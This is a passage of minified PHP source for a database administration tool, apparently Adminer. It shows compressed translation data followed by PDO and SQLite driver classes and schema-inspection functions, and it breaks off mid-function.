��@P�u;��9���f�چ.�f\0�Fk����G]Je�)aX�\\,�DD��JŻ�&�-�BN��D3�bݥ+Sl.Z�*%�G�7��̉%F�DF#�\\�Q��G	��en��5�\"�&�5E��\rH��&��w��̎��;���ă(x��H\\	�}A�� ��p`����%�pa�`7P���g�7J0�w��i\r�6��u��癷�D�HmH6�@�xa�b�S�ؑ؂�5���d�2t7H��V����7\n�Y��?�5��D ��k��˥3f�La7���@P��(���Ag(����Y\nB*�<h��B#\n�����&�B��!G�=�~Cij����ҞZ��>��jB��S��|��sz�\nA�MP�p���E�렛���B�Ҍ�[G\$�/8����j�圞�.N ������\$�<'Y��uf�fA�6�\0�&߄y<�8X�c�GP�4�b�Q�`�z��b����@'�0��*��ǥ���C�! ��FĐC?A�s�(�H��i��(ꔡ.fw��l�\"g\$��4�٨�8e���.�|�\$1���q�蜃�\"B0T\n71 �.��Й�.����<�Bl)q�5�A�F�ɹE<vD��Yw()�.Q�i��=\$�ޑ��� \"aA�b&�!���ea��>�HY�4jfNEH�z�R���&2�/Ӳ*kT��r� e���M\0�CegVE6ʭE.���y�_e^�Ur�}�®�QA	�|����\"+�S뚕����V#�t�aD�dV;5l��<�9ıkj+}ʻ0�*\n�t�1Z9�@��+�J9�0=�|}a�??G��͆D�&���i�F�\"��K\0���y�>���J��D��#2ˉ(���u�>%�F��)��o�*�C���)��gޓ-A��=P�`p�Z�)�S���d���<8@�M5s�׋�m���t��CE}U��)���’SS_PVQ�e\"��rDhʩ�`RE��	����}���d�~�C*AaoM\rW#@Q;u���95=w^W��j7��;�c���t	�&!��D�mt���7C��#)�B��hT7�3k��P��3�r��S�X�\0PA\n�P �0�+4�\r'Vᾣ���d2�ntUM\n:G�Y��,��R�h���:n;a����n�Ɓ�n�S2�&��#5�.�N9T��ک'�K��.p\\{��}DS_�h=�#�{O_��ꁊC�)��|�N\$�cW��}�7o�,�K���aF��dr����t}�w��'�Y���O�7��-/�G/�W�ɥO�yr��< ��g�]a�>J��_�B?���55�2�ݺ��ϑ�+�� �XVa#Bϟb��&���(��(t�fӁj=�U�U�Ko�kb�E`E…�*]�����>CVL��>��d��eF*b��K셈�Mf�3���(�0�Z�%4md�ȨE����PxcL��\r�CP2�o�,�A���P�a���C�:.0��P�,�p�z�Ӂ|LM�DǦ���\ng�\n��ۍp4G`�eH+obkp���P�F��)�%I���z\r���]⠪%�Bo�2F�Af��<D\$��mj*��+H�\r�*0�>JB`�n��Nl#�m8ާz!�Ц�ְ޴�������h�'FH�\"B�F��P���bT1R�Ǽ˧.ό��r��Hِ�˅L������#|��T�Q�q�{1�g��Cg���X1�l��qz�q���Ѫ{m��l���G���uq�h�(�{��(�O��L�GDc���L���C w�l��LG���D����e\nEI\$6��H1L�.p��f�D��r\rRa\"e#�&�'.k'�_%O�%�� �]\"�y!O\"௲\\n_��%�R �b��P��+�#*�w�z=2����#N��Q�,n�aL\$C0tG���k��.�V�\n>�E��e�p2��Cr�\r�BS���d�1FЇ'��aN|�.L��,�qV��2>�j��#�\0�d�.DŽ J�.2��rҽNߋD1�Xk��\r�2݇&q��E��=��d��(͵-��#,�#w,�(��:S���t��ί��s�_�b�a;��,P�ʄh[S�R�>��=�)r���rIs�{l�t��Sꡮ2O��Ed�0�X��\"d�l�WSk:���.Jq+br'l�v���>�qz�	E2P��\"��;�O\$�OFrW/�-�ns�neG�f�@&4cGnqt�C���e�\n��A4�\$�u�< ����/�H.*�.2N�HEK�l\nyF��>T_5��q4�K�1?�t��\\���)� ��O4�%��o#&N�N��M�\r�����UOlی?E�Q���J1䯵��R4�T�>îu9NR����?�\r\"�{VS�Q�CRR�IMܡ5v��=U�b�O��Ae2�.�h���i�;�Z���pO��W�[Ek	H���}?ԃ+JB��4DACTQI�8��L����p�S�g��C��D>c*9GE���Z�;g�O�`�t�q(�\0�\0����R~�v\r*ad-ef��lW���b(�C0�b�3��[�\\�o*�*/�(6_��*��)RWf�cg6eg��co�T/n���\r�W.�|2�ʴ�Fa�aD3ILC�3�\\t\$�'����.��\0ę�|\n���Z\0@��ƙ ��Au!��3�����V�wƈ��o�@�/yOV�y�p�z�2&Kt�[�MTӊz��n@�\$&E�7BR�@>�J@�nS�2蕷q�VY�}o�Zi�,��5kU�&�L�#'�k\"&���GB4�ǡ\0\0	���d#yw���9�<���n>���lyMnz-�2�\n1\$6ly��s-%�Ɵ�%/W�\r�[-����]�s\rmr��L��[\nA���rL�@?s�S	��}d2_S�PAP^j��*�~E�Y@�� ,J�k;�W�k���4<5�n��]OLO�B����\r,`׎�\0��`�@� ���\r�K��M��d�f/,�8�|,�Q��M'�#6\n�s�=d7���}̀r��1	��L� 8�X�#W�?wV���;��8s�mzbC���4�Mk�5�B\\�M��&-� ad�2m�\0";break;case"vi":$g="Bp��&������ *�(J.��0Q,��Z���)v��@Tf�\n�pj�p�*�V���C`�]��rY<�#\$b\$L2��@%9���I�����Γ���4˅����d3\rF�q��t9N1�Q�E3ڡ�h�j[�J;���o��\n�(�Ub��da���I¾Ri��D�\0\0�A)�X�8@q:�g!�C�_#y�̸�6:����ڋ�.���K;�.���i�n�������E�{\rB\n'��_��2�ka��!W�&Asv6�'H���ƻ�����vO�IvL�Ø�:�J8楩�B�a�k�j�*�#�ӊX�\n\npE�ɚ44�K\n�d����@3��!��pK� P�k�<�H\n3��|��/�\"1J'\0�\0P����R�!�1�d��2V�#I�pN���&	�	Z�)�	R܈f1B��C��\r�ܘ���A���Z8B<@�(4=9%3�.�sdn4ʮ�����3-PH ƀ���a�Hl`�\nx�D�e`��9M��&0�2/#��2��SO1B��Jv7RU�pJ���GF\n���5�%����N]�2��Q7,tW�óFG	AQ�6�>hv4D4�	 �I/+|����4�\n#��T����P �t��om��\r�l�)�\"c\rh��&I��>\r��41�J���\"dL>c(Zi �S�*��\r螀6��quT��bw�g\0V�mc�Ԡ���E%�u;�q��:0�V�ح��>@�S+Q\$��~4h VT�\r�@,����9�\0�3��2�cC�P��e�&0�����)�v2����S~� X\"�l��8�ɳA-��U���ʌ)t�ۉ��\nl)ܘ���SJ%2RH1D4��EX�P�\";ſ��3�…�3���穩�/�e���C�#�x�����:>s���;/��KA\0<(a��`z�@t��9��^ü��2ӠC�.\r��3�����xXa�9����o�2�H�lJ���zH0�&O�6��^A�<#�m��1#�@h%�(�}�s\"a�9�S�K��QCQ8����S(3弻�x.���\n (E�f��?���&�R\n[�V.*2 �<a��uO̤5�uC�\$:�\$\0P�P�vMB�Q���NW�Jvh��1:]�)?J;E�q�?G��;��@^�)%�\$���z�J�\r���8>��ih\$2���1�:�\n�p�M �\r��_F�,%���2Hb�*%��(���y\$�\0����&��2tO	D|��D��J�#��J��~1�(I!H�Q��ŷQʹ#����]�0T����?�G+jOg%?M�����s3��9�[U�EC,�*w�J(�d\"đ���EW�e�뜔d)rAP��0���Lb�F�p�C2o �;�C*�U��y��zbN��Q��Ի�	8���%��*�k#a�{\$�O��LxQ-e���E؋�PIJ=UA�l�ȳvD��sK�_��B�V�P���E�{�\r/��!\$#!ADk���A���z�AX����G=�7E�e�غFt�1�dKɉ3��ܜ�ղ+QJ�'T�����Z�Д1�M�V�2����8)�up�*��@�������Ѿ��-�K=In����WEC[�k2q�D�+��A\"�A�c)i�PRo���D`��&�ԙQ�1B�SM�SGض�C	r�����r�:�\0��d��\"�\$��˺�b��@��f@�\$� ��;���Ž�F[ə5��|�\"c�A2�\\#V8��4\0B��D���H�A	.��)^l�L�:� N���BfA���'�1�L���Q��#�Ok��\\�>E'*�h��,Z�SaJf�*Z��>��V`�L�0�J�l���e�:.|%2p*˱O���&��.�� ��O�H����W�2��d5��1�	�M��9ܯ[NjٛD�Dՙ���@l�9gl�o}�\n�s�G�*�e\"�B�����y���-��O��v^��T��]�b[8Ȣ ��Vg��9���ˈ��'bu����x��u8l0�ڤ�dq�m�R�=(�v\0V:ٮvU�MɆ�Ef���ֆJ�/��㫓M�ԙ��B�R�n7ћ�H�e��6��ك�g����۷R�4u_(�\\H����B��#��_g��*��>�E�V	�'��C�k�G��PH�.�\"\\�F�ʮ���ы�����b�C����K7F�}}:O1���ú8ۏ3pP}x�(����*�y��������&h�ζ�DYY�2.��?���]\\ޏ�f����\"�x���������֕��V��u�PT������^c��l����p\0�T�n�\0�R��@�PJ)7 ��C�U��d���c�.U�F��֡X�2���h/\0/�n����h�k*�e�z��*#�N\$���Ɗѣ	��%�D�N&/j�5d����qp�� t��.��\"��l��\0OM���� h����\\�'���5�yπP\nO\r�P��ބ��j�IP���q���esQ Q��HnS\"HG:����s�Γ��M��bMqV��1_\n-��H�;��|K��E��eP%Pj�X0��'q�5en��H;+<V��c���9�¤\".%)\r�q�W��P�%��>aJ ��-\0��\\Ʒ�q\n(aBA�(ױ\$\$���I�/N>4�zN�\n���Z���P�,˰��JP�)@#�@n�&���f���t��P�\n�\\/�t�����7�3b�6��D��*��n3d�Q��S�ȭC#�,�&b���#�?�2/m�O��bU���-�/8��'IN�����&.��/�+�B\$�q+&2#o~�/�e���[��2�UL��\"v�vmd�8N7�<��i273�K�'	�/p�ɹ/\nN���W��D�%�E8P ���\n�|�>%�-R�7��\"���>wGy&��a^0����G��G��QJ^�\nmjI1i�4ht����D�9���vp<p&�3�B\r3FX��P��j��	�䲷�:S5J�Yl*�#F* ";break;case"zh":$g="�^��s�\\�r���|%��:�\$\nr.���2�r/d�Ȼ[8� S�8�r�!T�\\�s���I4�b�r��ЀJs!Kd�u�e�V���D�X,#!��j6� �:�t\nr���U:.Z�Pˑ.�\rVWd^%�䌵�r�T�Լ�*�s#U�`Qd�u'c(��oF����e3�Nb�`�p2N�S��ӣ:LY�ta~��&6ۊ��r�s��k��{���f�q�w��-��\n�2���#*�B!@�L�N�z�Ш@F��:QQ�W���s�~�r.�ndJ��X��ˊ�;.�M(�bx���d�*�c�T�Ans�%��O-�3��!J��1.[\$�h����V��d�Dc�M��Al����N-9@��)6_��D���s�eۂ�%�yP��̞�B��F�ys�\nZñ()tI���4^����F'<�\$�'I\0D��YS1RZL�9H]8\$��O��\\s���S��1}GR��)v]PJ2�E%��?H%�\0\$�*H	i N外��g1���i�^��i�D}`L��K�Fr4V�%�a�BP��HG1��E�#�`��6L�@9�c�\nb��r�(�v�9Uo�)DO\$=��g)x�sLR5r�xars�yeG1�?�b�ч�g1LA4�s��0���Xr��>3ORt�@�Sf9�YUT�T�C`�91�x@0�L��3�c�2��1fT\$��*\r��w!\0�7c��1�C��r�`�3���X�Z��3�.`A�� ���XP9�:�\0�)�B0@���9F*�	�S�y#=&���F��V�����E�`���#x�R�ϱ!����r���ή�h�9�c�3ݎc��9T�(�8\r:H�����#0z\r��8a�^���\\0����2�Aw�3��(��\r^��a�94#��/�wp��H��m}A����1��F�7�CJ�k2��:����n��Ӈ0�(���P���(�Y	�M��\0-��N'�(+Ӛu'@�(��!��H�>��\"\n9()��Q�ji1��[W\\K��20\$ԛ���0�����y�[����D��F��Rx*�T5ƍ���h��fA�6�\0��Z{�5��6�\r\${w�ړ�);\n<)�H���Y+f<����Az	��A\0��	b/E�)a�2�՚v�8 A�3��\0f3�Tμ�!��T����8+&L����9G�Z �j�s\n�+��\n	�8P�T��v@�,�E�^0�T�Zx�P�!�8���b�X'�I:B e��r�P�Cd%�|C��0.���F3\0`���\"��VY8�<�a)؀�1�5��gNY�g��&�f�ı�����69�@�G)5M�Q&#)dGH@&b�EM7��đx#Y�Bp�(DSk�Biv��3�-ܡ-�Öt56�Hz�(!�@��l�3�ՆC�w�\n��y�	Vv�⚔R���2Ȯ�2qa*=H��EhIh��M��@!ؑ-�hE\nc8���Rb��	�gDCf���9k~Zغ �ht�1|9�q�/l�צZ��`��Ig��J����!.!`<B�Aa G��MGi&X7�sN&�eyd�O�S�iًU*��A�)%��¼Q�OI5%�Uط�A�x�I\"�r�1a����2��Ife��x�%8<P���\n	�RlH0�]�Y(#�P�zSE� \$X�s�hY���_IUo�����eYQ+��-����/��%�&Ô@���+Uػ�]B�|yyh�TG�1�.!�8��� ��G6@RP��ki��lZ9M��/:�K���tU><);H�+F�u&���T�ĝ?��b9X�0M� ���Q��-��_3!�u��-;S�[@/�,�ֆ��\$��M	�q(�	�)ņ˧�2��W%-����W�u�y�X�K�:f�J���]?b��R��f5V�񘻎�` Нٻl@G�^\r�\"5g�ԓ�;��^��3�q�]�m���\\�ܠ�UT�(��>�~Q�\"����pByY:��U;�*9d��� K����!)r@��Um=�tHȔڇ�/S������<r���Zͷ�h�V��n�i��H���)5+�4��Z��U?��>��Wx�q�Φ{�(�����<)�����[r�e	PW��]IDB�9���uO7��*j����=Y>\r�z�K�?R,�Wv\$�ߊ������*�M�BlOs͇�tg�~�O��������3����ݮW���F|o��(0����\\�ot��7������m��K_��o��{G���_���=��E\$V�/���������B�	v\r��O^`a��R-t�f���F�Ɂv����GB��b&�B(�80HIl,;m:��4:�8��f�\r�V���`�T�*.�#XkH\r �k�(6���h �x�H&u`�\n���p�p�9�j�lj�^e���4#�z�aR<��S`�	��!f�.!�-9�>��8����&P:��Mt��!j!:Ih�!-h	��|�9�4�\0�xc*5#b%�t.jeĀ��\0,�j.�Jz�Vի8�I��ϐ�qp\n�Ҿ#\$2�����\0�Nj�m^�N�R�~I��n��N-\r��Mh��At������k�1Q`E\$f̏lwGz\r*0�+�\0��\0�@� ���\r�0���,ץ�a�gB��&\$�����VG%:�����i�cź���5C*kq�1�:��C���������\0\$T@�	\0t	��@�\n`";break;case"zh-tw":$g="�^��%ӕ\\�r����|%��u:H�B(\\�4��p�r��neRQ̡D8� S�\n�t*.t�I&�G�N��AʤS�V�:	t%9��Sy:\"<�r�ST�,#!��j6�1uL\0�����U:.��I9���B��K&]\nD�X�[��}-,�r��������&��a;D�x��r4��&�)��s3�S���t�\r�A��b���E�E1��ԣ�g:�x�]#0, (��4���\r���G�q��Z���S� )ЪOLP\0��Δ�:}����r���yZ��se�\\B��ABs�� @�2*bPr��\n���/k�)�P��)<�ĩp���Y.R�D��L�GI,I��i.�Oc�t��\0F��dt�)�\\��*����/��]g9f]����^K��L��)pY��r��2�.���)�h�2]��*�X!rB���\$	q�l�@%y�RPa s-�a~Wġr�GALKIԕ)KP��:�\$��PO��\\���\0�<�@������J\\P�r�B�H��re��B��^�g1IJd}\0L�1TP\$��\\u�x� �P�2��@t����S%�Z:^��P�:��cR۴�\0�1�#s�(��)\"^�)�C�G-�nԪYI�Kq��7�*\\�2���T�D�QԆ,]ѯ�;'d��;8��m�)ebv���a_?����C�InPs�Y�<�4���9Q���\rI��P�:L�(#�47��0�茭�:h0�΍���p�:�cN9��@6\r�;�9��H巌#8��@KV����X�{23�	�!�b��ԍ�X�7/ϑt��k�>���`���]�	�O�tȊ{��7��(YP\$tZ��I�0��\nR�\"h�9��=�c��9U�@�4�� \\�-���D4���9�Ax^;�p�2q�p�9޸�����Û�\r��/��i����ဆ�D�Hm�6���xa�<�ASd�i�\r��8���m~��:�r��w�\n:��U�\"F�@�%��\\�J�i)J���#ţ�\n ( D!PB\nA����CL?rbUʓQ�!�������al���%��9dP9�p�Wn��Fa8 	�A,��Q�\"���\$3\0��� iU�qu7?M��k��:�u���o\r�� �F�􍓟��IcS&^��7A@'�0�x�a�\0�-�6P�KF�!N!�\r\" � r��V�b �i�2�ޚ����\r!�61�3F��`��nU��	=u�d���rX9��KE ���C�-JX�%	 ��P�*PA�\0D�0\"�Ԙ�\0��\r]с�L�B!Djv��j.8�A2�`¾Pv!�N�aP.�@�f�	�w��'DP]��p\"�!���x�D#/J�F�C�*~O��E�(J�ЙJ0�}2�Q�\$P�kT��֐:p�Wd\\E��!KqH�\$D!XC�H]b\0G��bX��n'*�#!EV\0�(Ju��O㚁PF��T�S\r!�2���(�������3`\rY<��L�����-�DU)�6�Y[H��\\Z\n!�/X�Rlls�[�rg��B@���&Y\0���|Ϲ�?�0��r�\n��]9�bd^^R�9��zC�\0Q���/;i���^-j?Z�����틱mg���>hh��:�`T!\$	8��I�k�x͆�*k���x���J:H�u�O��ty�+�\0�*�KD��1�b�D�[�qf>��z,GH����f.�%gx�Ǚ~���#�*\n��j@x��l�#\0PL���J��Y%)�萋<�N\nqή�s�a'!Ё�o+�|���H/\0Pɢ�_HDXܹ����W�D�`9t�����4<�T^���R� L-��B�p���0&\r��QP:D�:1T���*�Mw�M�C�JG:���UR����Q,ϙ�dի�_cn�w�)O���m�b܌os�ԝG��@�9@\n!3	h?*�F�4@����߇�}�]���%���k�q�D?��!�.%���]��SFZ\$mKUU��ڷr��0�:�U]�oZEi�×�C��(�7��1�Jx�&�j�r�nY75�st4��n�@���=8�؅vFg�A��쌏�r_?�D�}O�-zV��{��Nw�4�C7F����\$�U�	H�Xh��A.�#h�q r����F�޻�7�]�D�\0��}�8dxJ\\�7m����%K�ek��h�R��oݛ�b�y��h����4��D�k�[�s�*�;���pm��o}���G��Qm�X��Y?�s\n��2�c�_��>��խH�Q:C�0�Z�8�ɆO��b�[��n��~��*\"C���ܬ/�����Er�nl'����p\nD�T�|*O�%�6D\"D�jF�j�������.�!scpApOAI���JR�Y�*��mZ�K�LD�Pv�����t���&9kڼϼ�}��E�bFdt���C�P��в����c�Cp�2 �y���b.�E�)a��lhAD��d�@@\n	Bn�`N)p�\$MDԁ��\naz\"�p�\\,�w�\"�k\rFU�������2 �k\0�iX\r �\r`@�GĦJh6&؄\0��ޞt�Ą`�z\\3G\n���Z\0@s��ä7NJgǖ�l��B4#��j�PHn�@��`P.���\rt9�\n�ׄx��r����)h���;�N,�\r��:#�	��q��3C\\6�\$���d�<^�����,���������.��l����fϡ&(E!�p2 �_�42�3)T\r���ִ�H�N�o�*��ňX�Z�\r�2�JL�.(��9&�\nӁ,\"�wǜz ҦkF�`@\n�2�\n��`���A\0 fg�,<!f+�SxN���R��,��!J�?#�l ���ԩc�\"R(f�5�4m��)PD���P����РFDh	\0�@�	�t\n`�";break;}$vh=array();foreach(explode("\n",lzw_decompress($g))as$X)$vh[]=(strpos($X,"\t")?explode("\t",$X):$X);return$vh;}if(!$vh)$vh=get_translations($ca);if(extension_loaded('pdo')){class
Min_PDO
extends
PDO{var$_result,$server_info,$affected_rows,$errno,$error;function
__construct(){global$b;$wf=array_search("SQL",$b->operators);if($wf!==false)unset($b->operators[$wf]);}function
dsn($cc,$V,$G){try{parent::__construct($cc,$V,$G);}catch(Exception$uc){auth_error($uc->getMessage());}$this->setAttribute(13,array('Min_PDOStatement'));$this->server_info=$this->getAttribute(4);}function
query($H,$Ch=false){$I=parent::query($H);$this->error="";if(!$I){list(,$this->errno,$this->error)=$this->errorInfo();return
false;}$this->store_result($I);return$I;}function
multi_query($H){return$this->_result=$this->query($H);}function
store_result($I=null){if(!$I){$I=$this->_result;if(!$I)return
false;}if($I->columnCount()){$I->num_rows=$I->rowCount();return$I;}$this->affected_rows=$I->rowCount();return
true;}function
next_result(){if(!$this->_result)return
false;$this->_result->_offset=0;return@$this->_result->nextRowset();}function
result($H,$o=0){$I=$this->query($H);if(!$I)return
false;$K=$I->fetch();return$K[$o];}}class
Min_PDOStatement
extends
PDOStatement{var$_offset=0,$num_rows;function
fetch_assoc(){return$this->fetch(2);}function
fetch_row(){return$this->fetch(3);}function
fetch_field(){$K=(object)$this->getColumnMeta($this->_offset++);$K->orgtable=$K->table;$K->orgname=$K->name;$K->charsetnr=(in_array("blob",(array)$K->flags)?63:0);return$K;}}}$Xb=array();class
Min_SQL{var$_conn;function
__construct($h){$this->_conn=$h;}function
select($Q,$M,$Z,$Xc,$We=array(),$z=1,$E=0,$Df=false){global$b,$w;$Ad=(count($Xc)<count($M));$H=$b->selectQueryBuild($M,$Z,$Xc,$We,$z,$E);if(!$H)$H="SELECT".limit(($_GET["page"]!="last"&&+$z&&$Xc&&$Ad&&$w=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$M)."\nFROM ".table($Q),($Z?"\nWHERE ".implode(" AND ",$Z):"").($Xc&&$Ad?"\nGROUP BY ".implode(", ",$Xc):"").($We?"\nORDER BY ".implode(", ",$We):""),($z!=""?+$z:null),($E?$z*$E:0),"\n");$Hg=microtime(true);$J=$this->_conn->query($H);if($Df)echo$b->selectQuery($H,format_time($Hg));return$J;}function
delete($Q,$Mf,$z=0){$H="FROM ".table($Q);return
queries("DELETE".($z?limit1($H,$Mf):" $H$Mf"));}function
update($Q,$O,$Mf,$z=0,$ug="\n"){$Th=array();foreach($O
as$x=>$X)$Th[]="$x = $X";$H=table($Q)." SET$ug".implode(",$ug",$Th);return
queries("UPDATE".($z?limit1($H,$Mf):" $H$Mf"));}function
insert($Q,$O){return
queries("INSERT INTO ".table($Q).($O?" (".implode(", ",array_keys($O)).")\nVALUES (".implode(", ",$O).")":" DEFAULT VALUES"));}function
insertUpdate($Q,$L,$Bf){return
false;}function
begin(){return
queries("BEGIN");}function
commit(){return
queries("COMMIT");}function
rollback(){return
queries("ROLLBACK");}}$Xb["sqlite"]="SQLite 3";$Xb["sqlite2"]="SQLite 2";if(isset($_GET["sqlite"])||isset($_GET["sqlite2"])){$zf=array((isset($_GET["sqlite"])?"SQLite3":"SQLite"),"PDO_SQLite");define("DRIVER",(isset($_GET["sqlite"])?"sqlite":"sqlite2"));if(class_exists(isset($_GET["sqlite"])?"SQLite3":"SQLiteDatabase")){if(isset($_GET["sqlite"])){class
Min_SQLite{var$extension="SQLite3",$server_info,$affected_rows,$errno,$error,$_link;function
__construct($Ic){$this->_link=new
SQLite3($Ic);$Wh=$this->_link->version();$this->server_info=$Wh["versionString"];}function
query($H){$I=@$this->_link->query($H);$this->error="";if(!$I){$this->errno=$this->_link->lastErrorCode();$this->error=$this->_link->lastErrorMsg();return
false;}elseif($I->numColumns())return
new
Min_Result($I);$this->affected_rows=$this->_link->changes();return
true;}function
quote($P){return(is_utf8($P)?"'".$this->_link->escapeString($P)."'":"x'".reset(unpack('H*',$P))."'");}function
store_result(){return$this->_result;}function
result($H,$o=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->_result->fetchArray();return$K[$o];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($I){$this->_result=$I;}function
fetch_assoc(){return$this->_result->fetchArray(SQLITE3_ASSOC);}function
fetch_row(){return$this->_result->fetchArray(SQLITE3_NUM);}function
fetch_field(){$e=$this->_offset++;$U=$this->_result->columnType($e);return(object)array("name"=>$this->_result->columnName($e),"type"=>$U,"charsetnr"=>($U==SQLITE3_BLOB?63:0),);}function
__desctruct(){return$this->_result->finalize();}}}else{class
Min_SQLite{var$extension="SQLite",$server_info,$affected_rows,$error,$_link;function
__construct($Ic){$this->server_info=sqlite_libversion();$this->_link=new
SQLiteDatabase($Ic);}function
query($H,$Ch=false){$re=($Ch?"unbufferedQuery":"query");$I=@$this->_link->$re($H,SQLITE_BOTH,$n);$this->error="";if(!$I){$this->error=$n;return
false;}elseif($I===true){$this->affected_rows=$this->changes();return
true;}return
new
Min_Result($I);}function
quote($P){return"'".sqlite_escape_string($P)."'";}function
store_result(){return$this->_result;}function
result($H,$o=0){$I=$this->query($H);if(!is_object($I))return
false;$K=$I->_result->fetch();return$K[$o];}}class
Min_Result{var$_result,$_offset=0,$num_rows;function
__construct($I){$this->_result=$I;if(method_exists($I,'numRows'))$this->num_rows=$I->numRows();}function
fetch_assoc(){$K=$this->_result->fetch(SQLITE_ASSOC);if(!$K)return
false;$J=array();foreach($K
as$x=>$X)$J[($x[0]=='"'?idf_unescape($x):$x)]=$X;return$J;}function
fetch_row(){return$this->_result->fetch(SQLITE_NUM);}function
fetch_field(){$C=$this->_result->fieldName($this->_offset++);$sf='(\\[.*]|"(?:[^"]|"")*"|(.+))';if(preg_match("~^($sf\\.)?$sf\$~",$C,$B)){$Q=($B[3]!=""?$B[3]:idf_unescape($B[2]));$C=($B[5]!=""?$B[5]:idf_unescape($B[4]));}return(object)array("name"=>$C,"orgname"=>$C,"orgtable"=>$Q,);}}}}elseif(extension_loaded("pdo_sqlite")){class
Min_SQLite
extends
Min_PDO{var$extension="PDO_SQLite";function
__construct($Ic){$this->dsn(DRIVER.":$Ic","","");}}}if(class_exists("Min_SQLite")){class
Min_DB
extends
Min_SQLite{function
__construct(){parent::__construct(":memory:");}function
select_db($Ic){if(is_readable($Ic)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\\\]|:)~",$Ic)?$Ic:dirname($_SERVER["SCRIPT_FILENAME"])."/$Ic")." AS a")){parent::__construct($Ic);return
true;}return
false;}function
multi_query($H){return$this->_result=$this->query($H);}function
next_result(){return
false;}}}class
Min_Driver
extends
Min_SQL{function
insertUpdate($Q,$L,$Bf){$Th=array();foreach($L
as$O)$Th[]="(".implode(", ",$O).")";return
queries("REPLACE INTO ".table($Q)." (".implode(", ",array_keys(reset($L))).") VALUES\n".implode(",\n",$Th));}}function
idf_escape($t){return'"'.str_replace('"','""',$t).'"';}function
table($t){return
idf_escape($t);}function
connect(){return
new
Min_DB;}function
get_databases(){return
array();}function
limit($H,$Z,$z,$D=0,$ug=" "){return" $H$Z".($z!==null?$ug."LIMIT $z".($D?" OFFSET $D":""):"");}function
limit1($H,$Z){global$h;return($h->result("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($H,$Z,1):" $H$Z");}function
db_collation($m,$nb){global$h;return$h->result("PRAGMA encoding");}function
engines(){return
array();}function
logged_user(){return
get_current_user();}function
tables_list(){return
get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name",1);}function
count_tables($l){return
array();}function
table_status($C=""){global$h;$J=array();foreach(get_rows("SELECT name AS Name, type AS Engine FROM sqlite_master WHERE type IN ('table', 'view') ".($C!=""?"AND name = ".q($C):"ORDER BY name"))as$K){$K["Oid"]=1;$K["Auto_increment"]="";$K["Rows"]=$h->result("SELECT COUNT(*) FROM ".idf_escape($K["Name"]));$J[$K["Name"]]=$K;}foreach(get_rows("SELECT * FROM sqlite_sequence",null,"")as$K)$J[$K["name"]]["Auto_increment"]=$K["seq"];return($C!=""?$J[$C]:$J);}function
is_view($R){return$R["Engine"]=="view";}function
fk_support($R){global$h;return!$h->result("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function
fields($Q){global$h;$J=array();$Bf="";foreach(get_rows("PRAGMA table_info(".table($Q).")")as$K){$C=$K["name"];$U=strtolower($K["type"]);$Lb=$K["dflt_value"];$J[$C]=array("field"=>$C,"type"=>(preg_match('~int~i',$U)?"integer":(preg_match('~char|clob|text~i',$U)?"text":(preg_match('~blob~i',$U)?"blob":(preg_match('~real|floa|doub~i',$U)?"real":"numeric")))),"full_type"=>$U,"default"=>(preg_match("~'(.*)'~",$Lb,$B)?str_replace("''","'",$B[1]):($Lb=="NULL"?null:$Lb)),"null"=>!$K["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1),"primary"=>$K["pk"],);if($K["pk"]){if($Bf!="")$J[$Bf]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$U))$J[$C]["auto_increment"]=true;$Bf=$C;}}$Fg=$h->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($Q));preg_match_all('~(("[^"]*+")+|[a-z0-9_]+)\s+text\s+COLLATE\s+(\'[^\']+\'|\S+)~i',$Fg,$de,PREG_SET_ORDER);foreach($de
as$B){$C=str_replace('""','"',preg_replace('~^"|"$~','',$B[1]));if($J[$C])$J[$C]["collation"]=trim($B[3],"'");}return$J;}function
indexes($Q,$i=null){global$h;if(!is_object($i))$i=$h;$J=array();$Fg=$i->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($Q));if(preg_match('~\bPRIMARY\s+KEY\s*\((([^)"]+|"[^"]*")++)~i',$Fg,$B)){$J[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+)|(\S+))(\s+(ASC|DESC))?(,\s*|$)~i',$B[1],$de,PREG_SET_ORDER);foreach($de
as$B){$J[""]["columns"][]=idf_unescape($B[2]).$B[4];$J[""]["descs"][]=(preg_match('~DESC~i',$B[5])?'1':null);}}if(!$J){foreach(fields($Q)as$C=>$o){if($o["primary"])$J[""]=array("type"=>"PRIMARY","columns"=>array($C),"lengths"=>array(),"descs"=>array(null));}}$Gg=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($Q),$i);foreach(get_rows("PRAGMA index_list(".table($Q).")",$i)as$K){$C=$K["name"];$u=array("type"=>($K["unique"]?"UNIQUE":"INDEX"));$u["lengths"]=array();$u["descs"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($C).")",$i)as$kg){$u["columns"][]=$kg["name"];$u["descs"][]=null;}if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($C).' ON '.idf_escape($Q),'~').' \((.*)\)$~i',$Gg[$C],$Xf)){preg_match_all('/("[^"]*+")+( DESC)?/',$Xf[2],$de);foreach($de[2]as$x=>$X){if($X)$u["descs"][$x]='1';}}if(!$J[""]||$u["type"]!="UNIQUE"||$u["columns"]!=$J[""]["columns"]||$u["descs"]!=$J[""]["descs"]||!preg_match("~^sqlite_~",$C))$J[$C]=$u;}return$J;}function
foreign_keys($Q){$J=array();foreach(get_rows("PRAGMA foreign_key_list(".table($Q).")")as$K){$q=&$J[$K["id"]];if(!$q)$q=$K;$q["source"][]=$K["from"];$q["target"][]=$K["to"];}return$J;}function
view($C){global$h;return
array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* AS\\s+~iU','',$h->result("SELECT sql FROM sqlite_master WHERE name = ".q($C))));}function
collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function
information_schema($m){return
false;}function
error(){global$h;return
